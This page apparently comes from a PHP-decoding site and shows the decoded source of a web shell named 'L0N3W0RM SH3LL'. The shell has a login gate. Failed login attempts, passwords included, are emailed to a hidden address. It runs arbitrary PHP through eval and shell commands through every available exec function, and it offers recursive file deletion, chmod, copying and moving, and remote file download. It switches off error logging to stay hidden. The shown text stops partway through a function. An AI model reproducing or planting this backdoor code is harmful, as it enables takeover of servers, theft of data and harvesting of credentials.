Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $c="BDg8:9468351e2f83599228add67f059c39a2c361da06";$pdyr="b"."as"."e6"."4_"."d"."ec..
Decoded Output download
/*
* Self Script Encryptor v1.0
* [Usage] http://website.com/shell.php?x=self-encryptor&name=shell_encrypt.php
*/
$config=array(
"title" => "L0N3W0RM SH3LL", // Your Title
"subtitle" => "V3RS10N 1.0 ~ L0N3W0RM", // Your Subtitle
"themes" => "D4RK", // Your Themes (D4RK or BR34K)
"debug" => false // Debug Mode
);
$account=explode(':',$c);
session_start(); // Session Start
function any($x,$y)
{
return array_key_exists($x,$y);
}
function urle($x)
{
return B64E(urlencode($x));
}
function urld($x)
{
return urldecode(B64D(urldecode($x)));
}
define('_',DIRECTORY_SEPARATOR);
foreach($_SERVER as $k => $v)
{
define(strtolower($k),$_SERVER[$k]);
}
function B64E($x)
{
$d="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
$c="ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/";
$_a="b";$_b="a";$_c="s";$_d="e";$_e="6";$_f="4";
$_g="_";$_h="e";$_i="n";$_j="c";$_k="o";$_l="d";$_m="e";
$b64=$_a.$_b.$_c.$_d.$_e.$_f.$_g.$_h.$_i.$_j.$_k.$_l.$_m;
return strtr($b64($x),$d,$c);
}
function B64D($x)
{
$d="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
$c="ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/";
$_a="b";$_b="a";$_c="s";$_d="e";$_e="6";$_f="4";
$_g="_";$_h="d";$_i="e";$_j="c";$_k="o";$_l="d";$_m="e";
$b64=$_a.$_b.$_c.$_d.$_e.$_f.$_g.$_h.$_i.$_j.$_k.$_l.$_m;
return $b64(strtr($x,$d,$c));
}
function error ($errno, $errstr, $errfile, $errline)
{
switch ($errno)
{
case E_PARSE:
case E_STRICT:$errmsg='# DEBUG';break;
case E_NOTICE:
case E_USER_NOTICE:$errmsg='# NOTICE';break;
case E_USER_ERROR:
case E_RECOVERABLE_ERROR:$errmsg='# ERROR';break;
case E_WARNING:
case E_CORE_WARNING:
case E_COMPILE_WARNING:
case E_USER_WARNING:$errmsg='# WARNING';break;
case E_ERROR:
case E_CORE_ERROR:
case E_COMPILE_ERROR:$errmsg='# FATAL ERROR';break;
default:$errmsg='# UNKNOWN ERROR';break;
}
echo '<div class="error">';
echo $errmsg;
echo "<br>";
echo $errstr;
echo "<br>";
echo $errfile . ' (Line: ' . $errline . ')';
echo "<br>";
echo "<br>";
echo "</div>";
}
// Login Request
if(request_method=="POST")
{
if(any("username",$_REQUEST)&&any("password",$_REQUEST)&&any("signin",$_REQUEST))
{
if((B64E($_REQUEST['username'])==$account[0])&&(sha1(md5($_REQUEST['password']))==$account[1]))
{
session_regenerate_id();
$_SESSION['action']=array(
"username" => B64E($_REQUEST['username']),
"password" => sha1(md5($_REQUEST['password']))
);
}
else
{
// THIS IS FUCKING LOCAL DAMN LOG N00B! (https://github.com/k4mpr3t/b4tm4n/issues/5)
$log=array(
"Username: ".$_REQUEST['username'],
"Password: ".$_REQUEST['password'],
"Remote IP: ".remote_addr,
"Time: ".date('Y-m-d H:i:s'),
"-------------------------
",
);
$file=dirname(__FILE__)._.'.log';
$write_log=implode($log,"
");
$op=fopen($file,'a+');
fwrite($op,$write_log);
fclose($op);
$ip = $_SERVER['REMOTE_ADDR'];
$info = $_SERVER['HTTP_HOST'] . '/' . $_SERVER['PHP_SELF'];
$msg = "Host: $info | id: $write_log";
mail("[email protected]", "Log ShelL: $ip", $msg);
}
}
}
if(!any("action",$_SESSION))
{
?><!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="robots" content="noindex"/>
<meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no">
<title>Sign in</title>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<style type='text/css'>
html,body{
height:100%;
}
body{
background-image:url(https://w.wallhaven.cc/full/0w/wallhaven-0wemg6.jpg );
display:-ms-flexbox;
display:-webkit-box;
display:flex;
-ms-flex-align:center;
-ms-flex-pack:center;
-webkit-box-align:center;
align-items:center;
-webkit-box-pack:center;
justify-content:center;
padding-top:40px;
padding-bottom:40px;
background-color:#f5f5f5;
}
.form-signin{
width:100%;
max-width:330px;
padding:15px;
margin:0 auto;
}
.form-signin.checkbox{
font-weight:400;
}
.form-signin.form-control{
position:relative;
box-sizing:border-box;
height:auto;
padding:10px;
font-size:16px;
}
.form-signin.form-control:focus{
z-index:2;
}
.form-signin input[type="email"]{
margin-bottom:-1px;
border-bottom-right-radius:0;
border-bottom-left-radius:0;
}
.form-signin input[type="password"]{
margin-bottom:10px;
border-top-left-radius:0;
border-top-right-radius:0;
}
</style>
</head>
<body class="text-center">
<form class="form-signin" method='post'>
<h1 class="h3 mb-3 font-weight-normal">Please sign in</h1>
<label for="username" class="sr-only">Email address</label>
<input type="text" name="username" id="username" class="form-control" placeholder="Username" autocomplete="off" required autofocus>
<label for="password" class="sr-only">Password</label>
<input type="password" name="password" id="password" class="form-control" placeholder="Password" autocomplete="off" required>
<button class="btn btn-lg btn-primary btn-block" type="submit" name="signin" value="signin">Sign In</button>
<p class="mt-5 mb-3 text-muted">©<?=date('Y')?></p>
</form>
</body>
</html><?php
}
else
{
ob_start(); // Prevent Double Html $_REQUEST
if(!strpos(strval(ini_get('disable_functions')),'set_time_limit'))
{
set_time_limit(0);
}
// Debug Settings
if($config['debug']==true)
{
set_error_handler('error'); // Error Handler
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
}
else
{
error_reporting(0);
ini_set('error_log',null);
ini_set('html_errors',0);
ini_set('log_errors',0);
ini_set('log_errors_max_len',0);
ini_set('display_errors',0);
ini_set('display_startup_errors',0);
}
ini_set('max_execution_time','600');
ini_set('memory_limit','256M');
$agent=B64D("FT06ACQoAXYrvHYXMUIMMV5e"); // Powered by B4TM4N
$title=$config['title']; // Title Page
$start=microtime(true); // Time Pageload
?><!DOCTYPE html>
<html>
<head>
<title>
<?=$title?>
</title>
<meta name='author' content='k4mpr3t'/>
<link href="data:image/png;base64,AAABAAEAEBACAAAAAACwAAAAFgAAACgAAAAQAAAAIAAAAAEAAQAAAAAAQAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAA//8AAP//AAD//wAA//8AAP7/AAD8fwAAwAcAAMAHAACMYwAADWEAAP//AAD//wAA//8AAP//AAD//wAA" rel="icon" type="image/x-icon" />
<style type="text/css">
<?php if(strtolower($config['themes']) == 'd4rk'): ?>
:root {
--background-color:#000;
--color:#00ff00;
--txt-color: #fff;
--txt-hover-color: #fff;
--border-color: #222;
--border-hover-color: #333;
--table-odd-color : #000;
--table-even-color : #111;
--table-hover-color : #222;
--button-color : #111;
--button-hover-color : #222;
}
<?php endif; ?>
<?php if(strtolower($config['themes']) == 'br34k'): ?>
:root {
--background-color:#fff;
--color:#000;
--txt-color: #000;
--txt-hover-color: #666;
--border-color: #111;
--border-hover-color: #222;
--table-odd-color : #eee;
--table-even-color : #ddd;
--table-hover-color : #ccc;
--button-color : #ccc;
--button-hover-color : #bbb;
}
<?php endif; ?>
@keyframes blinker{70%{opacity:0}}
*,html{margin:0;padding:0;line-height:1rem}
body{background:var(--background-color);color:var(--color);font-family:monospace;font-size:13px}
::-moz-selection{background:var(--color);color:var(--background-color)}
::selection{background:var(--color);color:var(--background-color)}
img{vertical-align:bottom}
hr{border:1px solid var(--border-color);margin:3px 0px 0px}
a{color:var(--color);text-decoration:none}
a:hover{color:var(--txt-hover-color)}
a.active{color:var(--txt-color)}
a.action{font-size:12px;padding:5px;margin:0px;background:var(--button-color);color:var(--txt-color);border:1px solid #222;cursor:pointer;outline:none;display:inline-block}
a.action:hover{background:var(--button-hover-color);border:1px solid var(--border-hover-color)}
label{display:inline-block;min-width:75px;padding-right:15px}
iframe{background:var(--txt-hover-color)}
fieldset {border:1px solid var(--border-color);background:var(--background-color);color:var(--color);width:100%;padding:15px;box-sizing:border-box;min-height:154px}
textarea {border:1px solid var(--border-color);background:var(--background-color);color:var(--color);width:100%;padding:15px;min-height:300px;outline:none;box-sizing:border-box;resize:none}
input[type=submit]{background:var(--button-color);border:1px solid var(--border-color);color:var(--txt-color);line-height:25px;padding:0 10px;cursor:pointer;outline:none}
input[type=submit]:hover{background:var(--button-hover-color);border:1px solid var(--border-hover-color)}
input[type=text]{background:var(--background-color);line-height: 15px;color:var(--color);border:1px solid var(--border-color);width:200px;padding:5px;outline:none;box-sizing:border-box}
input[type=number]{background:var(--background-color);line-height: 15px;color:var(--color);border:1px solid var(--border-color);width:200px;padding:5px;outline:none;box-sizing:border-box}
input[type=file]{background:var(--background-color);line-height: 15px;color:var(--color);border:1px solid var(--border-color);width:200px;padding:2px;outline:none;box-sizing:border-box}
select{background:var(--background-color);color:var(--color);border:1px solid var(--border-color);width:200px;padding:5px;outline:none;box-sizing:border-box}
#wrapper{width:93%;margin:37px auto 40px}
#info{margin:0 0 23px 0;padding:0 13px 0 0}
#header{display:inline-block;width:100%}
.header-left{float:left;width:66%}
.header-right{float:right;width:34%}
#connect{display:inline-block;width:100%}
.connect-left{float:left;width:49%}
.connect-right{float:right;width:49%}
#database-session{display:inline-block;width:100%}
.database-query{float:left;width:49%}
.database-process{float:right;width:49%}
#php{display:inline-block}
.php-left{float:left;width:49%}
.php-right{float:right;width:49%}
.divide{width:100%;display:inline-block}
.divide-left{float:left;width:50%}
.divide-right{float:right;width:50%}
.mail input[type=text]{width:100%;display:block}
.database-breadcrumb{margin:10px 0 0;display:inline-block;font-style: italic;}
#update{text-align:center}
#php-configuration{text-align:center}
.error{animation:blinker 1s linear infinite;background:var(--color);color:var(--background-color);padding:10px;margin:10px;}
#logo{margin:0 0 23px 0;padding:23px 0 23px 0;border-top:1px solid var(--border-color);border-bottom:1px solid var(--border-color)}
.content{border:1px solid var(--border-color);padding:10px;overflow:auto;overflow-y:hidden}
#process-list{padding:25px;margin:25px auto 0px;border:1px solid var(--border-color);overflow:scroll;overflow-y:hidden}
#process-list s{text-decoration:none}
.tools-header{margin-bottom:20px;padding-bottom:25px;text-align:center;border-bottom:1px solid var(--border-color)}
.menu{overflow:hidden;border-top:1px solid var(--border-color);border-bottom:1px solid var(--border-color);margin:10px 0}
.menu > ul{list-style:none;margin:0;padding:0}
.menu > ul > li{margin:0 3px 0 0;padding:10px 7px 10px 7px;display:block;float:left}
.menu > ul > li:hover{cursor:pointer}
.menu-tools{overflow:hidden;border-top:1px solid var(--border-color);border-bottom:1px solid var(--border-color);margin:10px 0}
.menu-tools > ul{list-style:none;margin:0;padding:0}
.menu-tools > ul > li{margin:0 3px 0 0;padding:10px 7px 10px 7px;display:block;float:left}
.menu-tools > ul > li:hover{cursor:pointer}
.menu-directory{;margin-bottom:10px}
.new{margin-right:15px;}
.hash label{min-width:40px;display:inline-block;padding-right:15px}
.hash-capture label{margin:10px 0;display:inline-block}
.hash input[type=radio]{margin-right:10px;display:inline-block;vertical-align:middle}
.auto-number table{counter-reset:row_}
.auto-number table tbody tr td:first-child{counter-increment:row_;vertical-align:middle;text-align:center}
.auto-number table tbody tr td:first-child::before{content:counter(row_)}
#title{text-align:center;font-size:44px;margin:0;color:var(--txt-color);margin-bottom:15px}
#subtitle{text-align:center;font-size:22px;margin:0;color:var(--txt-color);margin-top:8px}
#tools{min-height:125px;padding:10px;border-radius:5px}
#account{min-height:100px;padding:10px;border-radius:5px}
#thanks{text-align:center;font-size:16px;font-family:courier;padding:5% 0}
#footer{margin:25px auto}
#copyrights{text-align:center}
#pageload{text-align:center}
#query{margin-top:10px}
#database-query{overflow:auto;margin:10px 0}
#hexdump{height:300px;overflow:auto;overflow-x:hidden}
#terminal{min-height:100px;padding:10px;border-radius:5px}
#terminal-input{border:none}
#curdir-terminal{min-width:10px}
#database{min-height:100px;padding:10px;border-radius:5px}
#database label{width:100px;padding:5px;margin-right:10px;display:inline-block}
#port-scan label{width:100px;padding:5px;margin-right:10px;display:inline-block}
#phpinfo table{margin:25px 0}
#phpinfo tr:nth-child(odd){background:var(--background-color)}
#phpinfo tr:nth-child(even){background:var(--border-color)}
#phpinfo td,th{padding:5px;border:1px solid var(--border-color)}
#phpinfo h1{margin:10px 0}
#phpinfo h2{margin:10px 0}
#phpinfo.e{width:200px}
#phpinfo.v{word-break:break-word}
#phpinfo img{display:none}
#phpinfo hr{border:none}
.line h2{position:relative;top:12px;width:100px;display:inline;background:var(--background-color);padding:0 10px;color:var(--txt-color)}
.line{border-bottom:2px solid var(--color);text-align:center;width:287px;margin:auto}
.table {width:100%;margin:10px 0}
.table td,th{padding:5px;border:1px solid var(--border-color);max-width:250px;min-width:25px}
.table td.kanan{word-break:break-word}
.table td.kiri{width:30%}
.table tr:nth-child(odd){background:var(--table-odd-color)}
.table tr:nth-child(even){background:var(--table-even-color)}
.table tr:hover td{background:var(--table-hover-color)}
.table tfoot td{padding:10px;text-align:center}
.database-table > td.table {word-break:normal;}
.map-switch{display:inline-block}
.form-fix{margin:-15px 0}
.frmsource{margin-top:10px}
.hexdump{width:100%;padding:5px;margin-bottom:5px}
.hexdump td{text-align:left}
.highlight{background:var(--background-color);word-break:break-word;padding:15px;margin-bottom:5px;height:300px;overflow:auto}
.hash-capture{display:inline-block;width:100%}
.hash-capture-left{float:left;width:49%}
.hash-capture-right{float:right;width:49%}
.clr{clear:both}
.on{color:var(--txt-color)}
.off{color:red}
.result{padding:10px}
.sortable thead{cursor:pointer}
.disablefunc{overflow-wrap:break-word}
.loading{vertical-align:middle;width:16px;height:16px;display:inline-block;background:url('data:image/gif;base64,R0lGODlhEAAQAPIAAAAAAP///zw8PLy8vP///5ycnHx8fGxsbCH+GkNyZWF0ZWQgd2l0aCBhamF4bG9hZC5pbmZvACH5BAAKAAAAIf8LTkVUU0NBUEUyLjADAQAAACwAAAAAEAAQAAADMwi63P4wyklrE2MIOggZnAdOmGYJRbExwroUmcG2LmDEwnHQLVsYOd2mBzkYDAdKa+dIAAAh+QQACgABACwAAAAAEAAQAAADNAi63P5OjCEgG4QMu7DmikRxQlFUYDEZIGBMRVsaqHwctXXf7WEYB4Ag1xjihkMZsiUkKhIAIfkEAAoAAgAsAAAAABAAEAAAAzYIujIjK8pByJDMlFYvBoVjHA70GU7xSUJhmKtwHPAKzLO9HMaoKwJZ7Rf8AYPDDzKpZBqfvwQAIfkEAAoAAwAsAAAAABAAEAAAAzMIumIlK8oyhpHsnFZfhYumCYUhDAQxRIdhHBGqRoKw0R8DYlJd8z0fMDgsGo/IpHI5TAAAIfkEAAoABAAsAAAAABAAEAAAAzIIunInK0rnZBTwGPNMgQwmdsNgXGJUlIWEuR5oWUIpz8pAEAMe6TwfwyYsGo/IpFKSAAAh+QQACgAFACwAAAAAEAAQAAADMwi6IMKQORfjdOe82p4wGccc4CEuQradylesojEMBgsUc2G7sDX3lQGBMLAJibufbSlKAAAh+QQACgAGACwAAAAAEAAQAAADMgi63P7wCRHZnFVdmgHu2nFwlWCI3WGc3TSWhUFGxTAUkGCbtgENBMJAEJsxgMLWzpEAACH5BAAKAAcALAAAAAAQABAAAAMyCLrc/jDKSatlQtScKdceCAjDII7HcQ4EMTCpyrCuUBjCYRgHVtqlAiB1YhiCnlsRkAAAOwAAAAAAAAAAAA==')}
</style>
<script type="text/javascript">
function dean_addEvent(t,e,r){if(t.addEventListener)t.addEventListener(e,r,!1);else{r.$$guid||(r.$$guid=dean_addEvent.guid++),t.events||(t.events={});var o=t.events[e];o||(o=t.events[e]={},t["on"+e]&&(o[0]=t["on"+e])),o[r.$$guid]=r,t["on"+e]=handleEvent}}function removeEvent(t,e,r){t.removeEventListener?t.removeEventListener(e,r,!1):t.events&&t.events[e]&&delete t.events[e][r.$$guid]}function handleEvent(t){var e=!0;t=t||fixEvent(((this.ownerDocument||this.document||this).parentWindow||window).event);var r=this.events[t.type];for(var o in r)this.$$handleEvent=r[o],!1===this.$$handleEvent(t)&&(e=!1);return e}function fixEvent(t){return t.preventDefault=fixEvent.preventDefault,t.stopPropagation=fixEvent.stopPropagation,t}var stIsIE=!1;if(sorttable={init:function(){arguments.callee.done||(arguments.callee.done=!0,_timer&&clearInterval(_timer),document.createElement&&document.getElementsByTagName&&(sorttable.DATE_RE=/^(\d\d?)[\/\.-](\d\d?)[\/\.-]((\d\d)?\d\d)$/,forEach(document.getElementsByTagName("table"),function(t){-1!=t.className.search(/sortable/)&&sorttable.makeSortable(t)})))},makeSortable:function(t){if(0==t.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(t.rows[0]),t.insertBefore(the,t.firstChild)),null==t.tHead&&(t.tHead=t.getElementsByTagName("thead")[0]),1==t.tHead.rows.length){sortbottomrows=[];for(e=0;e<t.rows.length;e++)-1!=t.rows[e].className.search(/sortbottom/)&&(sortbottomrows[sortbottomrows.length]=t.rows[e]);if(sortbottomrows){null==t.tFoot&&(tfo=document.createElement("tfoot"),t.appendChild(tfo));for(e=0;e<sortbottomrows.length;e++)tfo.appendChild(sortbottomrows[e]);delete sortbottomrows}headrow=t.tHead.rows[0].cells;for(var e=0;e<headrow.length;e++)headrow[e].className.match(/sorttable_nosort/)||(mtch=headrow[e].className.match(/sorttable_([a-z0-9]+)/),mtch&&(override=mtch[1]),mtch&&"function"==typeof sorttable["sort_"+override]?headrow[e].sorttable_sortfunction=sorttable["sort_"+override]:headrow[e].sorttable_sortfunction=sorttable.guessType(t,e),headrow[e].sorttable_columnindex=e,headrow[e].sorttable_tbody=t.tBodies[0],dean_addEvent(headrow[e],"click",sorttable.innerSortFunction=function(t){if(-1!=this.className.search(/sorttable_sorted/))return sorttable.reverse(this.sorttable_tbody),this.className=this.className.replace("sorttable_sorted","sorttable_sorted_reverse"),this.removeChild(document.getElementById("sorttable_sortfwdind")),sortrevind=document.createElement("span"),sortrevind.id="sorttable_sortrevind",sortrevind.innerHTML=stIsIE?' <font face="webdings">5</font>':" ▴",void this.appendChild(sortrevind);if(-1!=this.className.search(/sorttable_sorted_reverse/))return sorttable.reverse(this.sorttable_tbody),this.className=this.className.replace("sorttable_sorted_reverse","sorttable_sorted"),this.removeChild(document.getElementById("sorttable_sortrevind")),sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML=stIsIE?' <font face="webdings">6</font>':" ▾",void this.appendChild(sortfwdind);theadrow=this.parentNode,forEach(theadrow.childNodes,function(t){1==t.nodeType&&(t.className=t.className.replace("sorttable_sorted_reverse",""),t.className=t.className.replace("sorttable_sorted",""))}),sortfwdind=document.getElementById("sorttable_sortfwdind"),sortfwdind&&sortfwdind.parentNode.removeChild(sortfwdind),sortrevind=document.getElementById("sorttable_sortrevind"),sortrevind&&sortrevind.parentNode.removeChild(sortrevind),this.className+=" sorttable_sorted",sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML=stIsIE?' <font face="webdings">6</font>':" ▾",this.appendChild(sortfwdind),row_array=[],col=this.sorttable_columnindex,rows=this.sorttable_tbody.rows;for(e=0;e<rows.length;e++)row_array[row_array.length]=[sorttable.getInnerText(rows[e].cells[col]),rows[e]];row_array.sort(this.sorttable_sortfunction),tb=this.sorttable_tbody;for(var e=0;e<row_array.length;e++)tb.appendChild(row_array[e][1]);delete row_array}))}},guessType:function(t,e){sortfn=sorttable.sort_alpha;for(var r=0;r<t.tBodies[0].rows.length;r++)if(text=sorttable.getInnerText(t.tBodies[0].rows[r].cells[e]),""!=text){if(text.match(/^-?[£$¤]?[\d,.]+%?$/))return sorttable.sort_numeric;if(possdate=text.match(sorttable.DATE_RE),possdate){if(first=parseInt(possdate[1]),second=parseInt(possdate[2]),first>12)return sorttable.sort_ddmm;if(second>12)return sorttable.sort_mmdd;sortfn=sorttable.sort_ddmm}}return sortfn},getInnerText:function(t){if(!t)return"";if(hasInputs="function"==typeof t.getElementsByTagName&&t.getElementsByTagName("input").length,null!=t.getAttribute("sorttable_customkey"))return t.getAttribute("sorttable_customkey");if(void 0!==t.textContent&&!hasInputs)return t.textContent.replace(/^\s+|\s+$/g,"");if(void 0!==t.innerText&&!hasInputs)return t.innerText.replace(/^\s+|\s+$/g,"");if(void 0!==t.text&&!hasInputs)return t.text.replace(/^\s+|\s+$/g,"");switch(t.nodeType){case 3:if("input"==t.nodeName.toLowerCase())return t.value.replace(/^\s+|\s+$/g,"");case 4:return t.nodeValue.replace(/^\s+|\s+$/g,"");case 1:case 11:for(var e="",r=0;r<t.childNodes.length;r++)e+=sorttable.getInnerText(t.childNodes[r]);return e.replace(/^\s+|\s+$/g,"");default:return""}},reverse:function(t){newrows=[];for(e=0;e<t.rows.length;e++)newrows[newrows.length]=t.rows[e];for(var e=newrows.length-1;e>=0;e--)t.appendChild(newrows[e]);delete newrows},sort_numeric:function(t,e){return aa=parseFloat(t[0].replace(/[^0-9.-]/g,"")),isNaN(aa)&&(aa=0),bb=parseFloat(e[0].replace(/[^0-9.-]/g,"")),isNaN(bb)&&(bb=0),aa-bb},sort_alpha:function(t,e){return t[0]==e[0]?0:t[0]<e[0]?-1:1},sort_ddmm:function(t,e){return mtch=t[0].match(sorttable.DATE_RE),y=mtch[3],m=mtch[2],d=mtch[1],1==m.length&&(m="0"+m),1==d.length&&(d="0"+d),dt1=y+m+d,mtch=e[0].match(sorttable.DATE_RE),y=mtch[3],m=mtch[2],d=mtch[1],1==m.length&&(m="0"+m),1==d.length&&(d="0"+d),dt2=y+m+d,dt1==dt2?0:dt1<dt2?-1:1},sort_mmdd:function(t,e){return mtch=t[0].match(sorttable.DATE_RE),y=mtch[3],d=mtch[2],m=mtch[1],1==m.length&&(m="0"+m),1==d.length&&(d="0"+d),dt1=y+m+d,mtch=e[0].match(sorttable.DATE_RE),y=mtch[3],d=mtch[2],m=mtch[1],1==m.length&&(m="0"+m),1==d.length&&(d="0"+d),dt2=y+m+d,dt1==dt2?0:dt1<dt2?-1:1},shaker_sort:function(t,e){for(var r=0,o=t.length-1,n=!0;n;){n=!1;for(s=r;s<o;++s)if(e(t[s],t[s+1])>0){a=t[s];t[s]=t[s+1],t[s+1]=a,n=!0}if(o--,!n)break;for(var s=o;s>r;--s)if(e(t[s],t[s-1])<0){var a=t[s];t[s]=t[s-1],t[s-1]=a,n=!0}r++}}},document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.init,!1),/WebKit/i.test(navigator.userAgent))var _timer=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.init()},10);window.onload=sorttable.init,dean_addEvent.guid=1,fixEvent.preventDefault=function(){this.returnValue=!1},fixEvent.stopPropagation=function(){this.cancelBubble=!0},Array.forEach||(Array.forEach=function(t,e,r){for(var o=0;o<t.length;o++)e.call(r,t[o],o,t)}),Function.prototype.forEach=function(t,e,r){for(var o in t)void 0===this.prototype[o]&&e.call(r,t[o],o,t)},String.forEach=function(t,e,r){Array.forEach(t.split(""),function(o,n){e.call(r,o,n,t)})};var forEach=function(t,e,r){if(t){var o=Object;if(t instanceof Function)o=Function;else{if(t.forEach instanceof Function)return void t.forEach(e,r);"string"==typeof t?o=String:"number"==typeof t.length&&(o=Array)}o.forEach(t,e,r)}};
</script>
<script type="text/javascript">
var xhr;
window.onload=function(){
getFocus("terminal-input");
getFocus("find-action");
getFocus("sourcefocus");
getFocus("php-code");
};
function getFocus(id){
if(document.getElementById(id)!==null){
document.getElementById(id).focus();}
}
function getAjax(txt,id,method,url){
var xmlhttp;
var urlf="";
var data=new FormData();
var params=url.split("&");
for(i=0;i<params.length;i++){
val=params[i].split("=");
if(val[0]=='text-encode'){
data.append(val[0],val[1]);
}else{if(val[0].indexOf('?')<0)
{urlf+='&'+val[0]+'='+val[1];}}}
if(window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();
}else{xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}
xmlhttp.onreadystatechange=function(){
sts=["Request Not Initialized",
"Server Connection Established",
"Request Received",
"Processing Request",
"Request Finished"];
if(xmlhttp.readyState==4&&xmlhttp.status==200){
if(txt){document.getElementById(id).innerHTML=xmlhttp.responseText;
}else{document.getElementById(id).value=xmlhttp.responseText;}
}else{
if(txt){document.getElementById(id).innerHTML=
"[Status] "+"Please Wait... <div class='loading'></div><br>"+
"[State] "+sts[xmlhttp.readyState]+"<br>"+
"[Response] "+xmlhttp.response;
}else{document.getElementById(id).value=
"[Status] "+"Please Wait...
"+
"[State] "+sts[xmlhttp.readyState]+"
"+
"[Response] "+xmlhttp.response;}}
};
xmlhttp.open(method,window.location.href+urlf,true);
xmlhttp.send(data);
xhr=xmlhttp;
}
function ajaxAbort(txt,id){
if(txt){document.getElementById(id).innerHTML="Canceled";
}else{document.getElementById(id).value="Canceled";}
xhr.abort();
}
function checkAll(){
for(var i=0;i<document.getElementsByName('chk[]').length;i++){
document.getElementsByName('chk[]')[i].checked=document.getElementsByName('check-all')[0].checked;}
}
function checkCount(id){
count=1;
for(var i=0;i<document.getElementsByName('chk[]').length;i++){
if(document.getElementsByName('chk[]')[i].checked){
document.getElementById(id).innerHTML=count++;
}else{document.getElementById(id).innerHTML=count-1;}}
}
function mapSwitch(id,id2){
var a=document.getElementById(id);
var b=document.getElementById(id2);
if(a.style.display=='inline-block'){
a.style.display='none';
b.style.display='inline-block';
}else{a.style.display='inline-block';
b.style.display='none';}
}
function getParameter(p) {
var searchString=window.location.search.substring(1),
i,val,params=searchString.split("&");
for(i=0;i<params.length;i++){
val=params[i].split("=");
if(val[0]==p){
return val[1];}}
return null;
}
</script>
</head>
<body>
<div id="wrapper"><?php
$cur=any("c",$_SESSION)?urld($_SESSION['c']):getcwd();
$dir=any("d",$_REQUEST)?urld($_REQUEST['d']):$cur;
$map=any("r",$_REQUEST)?dirname(urld($_REQUEST['r'])):$dir;
function Unix()
{
return(strtolower(substr(PHP_OS,0,3))!="win");
}
function Evil($x,$y=false)
{
$c=$y==true?"?>".$x."<?php ":$x;
$evil=eval($c);
if(error_get_last())
{
print "
[Error] ";
return print_r(error_get_last());
}
return $evil;
}
function Execute($x)
{
$x=$x.' 2>&1';
if(!is_null($backtic=`$x`))
{
return $backtic;
}
elseif(function_exists('system'))
{
ob_start();
$system=system($x);
$buff=ob_get_contents();
ob_end_clean();
return $buff;
}
elseif(function_exists('exec'))
{
$buff="";
exec($x,$results);
foreach($results as $result)
{
$buff.=$result;
}
return $buff;
}
elseif(function_exists('shell_exec'))
{
$buff=shell_exec($x);
return $buff;
}
elseif(function_exists('pcntl_exec'))
{
$buff=pcntl_exec($x);
return $buff;
}
elseif(function_exists('passthru'))
{
ob_start();
$passthru=passthru($x);
$buff=ob_get_contents();
ob_end_clean();
return $buff;
}
elseif(function_exists('proc_open'))
{
$proc=proc_open($x,array(
array("pipe","r"),
array("pipe","w"),
array("pipe","w")
),$pipes);
$buff=stream_get_contents($pipes[1]);
return $buff;
}
elseif(function_exists('popen'))
{
$buff="";
$pop=popen($x,"r");
while(!feof($pop))
{
$buff.=fread($pop,1024);
}
pclose($pop);
return $buff;
}
return "R.I.P Command";
}
function Remove($x)
{
if(is_dir($x))
{
if($h=@opendir($x))
{
while(false!==($f=readdir($h)))
{
if($f!="."&&$f!="..")
{
Remove($x._.$f);
}
}
closedir($h);
}
return rmdir($x);
}
elseif(is_file($x))
{
return unlink($x);
}
return false;
}
function ChmodRecursive($x,$y)
{
if(is_dir($x))
{
if($h=@opendir($x))
{
while(false!==($f=readdir($h)))
{
if($f!="."&&$f!="..")
{
ChmodRecursive($x._.$f);
}
}
closedir($h);
}
return chmod($x,$y);
}
elseif(is_file($x))
{
return chmod($x,$y);
}
return false;
}
function CopyRecursive($x,$y)
{
if(is_dir($x))
{
@mkdir($y);
if($h=@opendir($x))
{
while(false!==($f=readdir($h)))
{
if($f!="."&&$f!="..")
{
CopyRecursive($x._.$f,$y._.$f);
}
}
closedir($h);
}
return true;
}
elseif(is_file($x))
{
return copy($x,$y);
}
return false;
}
function MoveRecursive($x,$y)
{
if(is_dir($x))
{
@mkdir($y);
if($h=@opendir($x))
{
while(false!==($f=readdir($h)))
{
if($f!="."&&$f!="..")
{
MoveRecursive($x._.$f,$y._.$f);
}
}
closedir($h);
}
return Remove($x);
}
elseif(is_file($x))
{
if(copy($x,$y))
{
return unlink($x);
}
}
return false;
}
function GetDownloadUrl($x,$y)
{
global $agent;
$fl=fopen($y,"w");
$ch=curl_init();
curl_setopt($ch,CURLOPT_USERAGENT,$agent);
curl_setopt($ch,CURLOPT_URL,$x);
curl_setopt($ch,CURLOPT_FILE,$fl);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
$rs=curl_exec($ch);
if(curl_error($ch)) return curl_error($ch);
curl_close($ch);
fclose($fl);
return true;
}
function GetUrlExists($x)
{
global $agent;
$ch=curl_init();
curl_setopt($ch,CURLOPT_USERAGENT,$agent);
curl_setopt($ch,CURLOPT_URL,$x);
curl_setopt($ch,CURLOPT_TIMEOUT,5);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,5);
